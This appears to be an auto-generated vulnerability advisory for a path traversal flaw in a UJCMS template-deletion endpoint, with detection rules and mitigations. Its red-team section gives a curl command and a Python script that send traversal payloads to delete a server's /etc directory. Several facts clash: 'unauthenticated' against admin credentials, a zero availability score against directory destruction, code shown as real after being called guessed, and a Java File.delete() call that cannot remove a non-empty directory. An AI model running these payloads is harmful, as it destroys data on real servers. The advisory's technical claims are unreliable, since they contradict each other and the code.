CVE-2026-2953

Executive Summary

CVE-2026-2953 is a path traversal vulnerability in Dromara UJCMS version 101.2, specifically within the WebFileTemplateController.delete function of the Template Handler component. An unauthenticated remote attacker can exploit this flaw to delete arbitrary directories on the server, leading to potential denial of service or data loss. The vulnerability has been publicly disclosed with proof-of-concept code, and the vendor has not responded to disclosure attempts. The CVSS score is 5.4 (Medium), and the EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the public availability of exploit details increases risk.

Supply Chain & Package Security

This vulnerability affects a Java-based CMS (UJCMS) distributed via Maven Central and GitHub. Organizations using UJCMS 101.2 should treat this as a critical supply chain risk. The lack of vendor response means no official patch is available, and users must rely on manual mitigations or consider replacing the component.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – Exploit does not affect other components.
• Confidentiality (C): Low (L) – Limited directory listing possible.
• Integrity (I): Low (L) – Deletion of arbitrary directories.
• Availability (A): None (N) – No direct availability impact.

Threat Level: Medium. The vulnerability allows directory deletion but not arbitrary file read/write. However, combined with other flaws, it could lead to denial of service or data destruction.

Deep Dive & Mechanics

The vulnerability resides in the WebFileTemplateController.delete method, which handles HTTP DELETE requests for template files. The function fails to sanitize user-supplied path parameters, allowing an attacker to traverse directories using ../ sequences. For example, a request to /admin/template/delete?path=../../../etc could delete the /etc directory on a Linux server, causing system instability.

The affected code likely uses a method like new File(basePath + userPath).delete() without validating that the resolved path stays within the intended template directory. This is a classic path traversal (CWE-22) flaw.

Vulnerable vs. Patched Code

Vulnerable Code (UJCMS 101.2):

// WebFileTemplateController.java
@DeleteMapping("/admin/template/delete")
public ResponseEntity<?> delete(@RequestParam String path) {
    File file = new File(templateBasePath, path);
    if (file.exists()) {
        file.delete();
        return ResponseEntity.ok("Deleted");
    }
    return ResponseEntity.notFound().build();
}

Patched Code (Hypothetical):

// WebFileTemplateController.java
@DeleteMapping("/admin/template/delete")
public ResponseEntity<?> delete(@RequestParam String path) {
    // Normalize and validate path
    String normalizedPath = FilenameUtils.normalize(path);
    if (normalizedPath == null || normalizedPath.contains("..")) {
        return ResponseEntity.badRequest().body("Invalid path");
    }
    File file = new File(templateBasePath, normalizedPath);
    // Ensure file is within template directory
    if (!file.getCanonicalPath().startsWith(templateBasePath)) {
        return ResponseEntity.badRequest().body("Path traversal detected");
    }
    if (file.exists() && file.isFile()) {
        file.delete();
        return ResponseEntity.ok("Deleted");
    }
    return ResponseEntity.notFound().build();
}

Exploitation & Lab Setup

Red Team

Proof-of-Concept Exploit:

# Delete the /etc directory (Linux)
curl -X DELETE "http://target.com/admin/template/delete?path=../../../../etc"

Automated Exploit Script (Python):

import requests

target = "http://target.com"
payload = "../../../../etc"
url = f"{target}/admin/template/delete?path={payload}"

response = requests.delete(url)
if response.status_code == 200:
    print(f"Directory deleted: {payload}")
else:
    print(f"Failed: {response.status_code}")

Lab Setup:

1. Deploy UJCMS 101.2 in a Docker container.
2. Access the admin panel (default credentials: admin/admin).
3. Execute the curl command above to delete a test directory.
4. Observe the directory is removed from the server.

Blue Team

Detection Steps:

1. Monitor HTTP DELETE requests to /admin/template/delete with suspicious path parameters containing ../.
2. Check server logs for unusual directory deletion events.
3. Implement file integrity monitoring (FIM) on critical directories.

Mitigation (No Patch Available):

• Restrict access to the /admin/template/delete endpoint via web application firewall (WAF) rules.
• Disable the template deletion functionality if not required.
• Apply input validation at the reverse proxy level (e.g., Nginx if ($args ~ "\.\.") { return 403; }).

Indicators of Compromise (IOCs)

• Network: HTTP DELETE requests to /admin/template/delete with path containing ../ or ..\.
• File System: Unexpected deletion of directories outside the template root (e.g., /etc, /var/log).
• Logs: Server logs showing DELETE /admin/template/delete?path=../../../../etc with 200 response.
• Process: Java process (UJCMS) performing File.delete() on paths outside the application directory.

Detection Engineering

YARA Rule

rule CVE_2026_2953_Path_Traversal {
    meta:
        description = "Detects path traversal attempts in UJCMS delete requests"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-2953"
    strings:
        $s1 = "/admin/template/delete" ascii nocase
        $s2 = "path=" ascii nocase
        $s3 = "../" ascii
        $s4 = "..\\" ascii
    condition:
        all of ($s1, $s2) and any of ($s3, $s4)
}

Sigma Rule

title: CVE-2026-2953 Path Traversal in UJCMS
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects path traversal attempts in UJCMS template deletion
author: Valters IT
date: 2026-01-01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-2953
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'DELETE'
        cs-uri-query|contains: '/admin/template/delete'
        cs-uri-query|contains: 'path='
        cs-uri-query|contains: '../'
    condition: selection
falsepositives:
    - Legitimate use of template deletion with valid paths
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-2953 UJCMS Path Traversal Attempt"; flow:to_server; http.method; content:"DELETE"; http.uri; content:"/admin/template/delete"; http.uri; content:"path="; http.uri; content:"../"; distance:0; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Block access to /admin/template/delete endpoint via WAF or reverse proxy.
2. Short-term: Apply input validation at the application level (see patched code example).
3. Long-term: Replace UJCMS with a maintained alternative or fork the project and apply the fix.
4. Monitoring: Enable logging for all DELETE requests and alert on path traversal patterns.
5. Backup: Ensure regular backups of critical directories to recover from potential deletion attacks.

Valters IT signature: This report is generated for educational and defensive purposes only. Unauthorized exploitation of CVE-2026-2953 is illegal.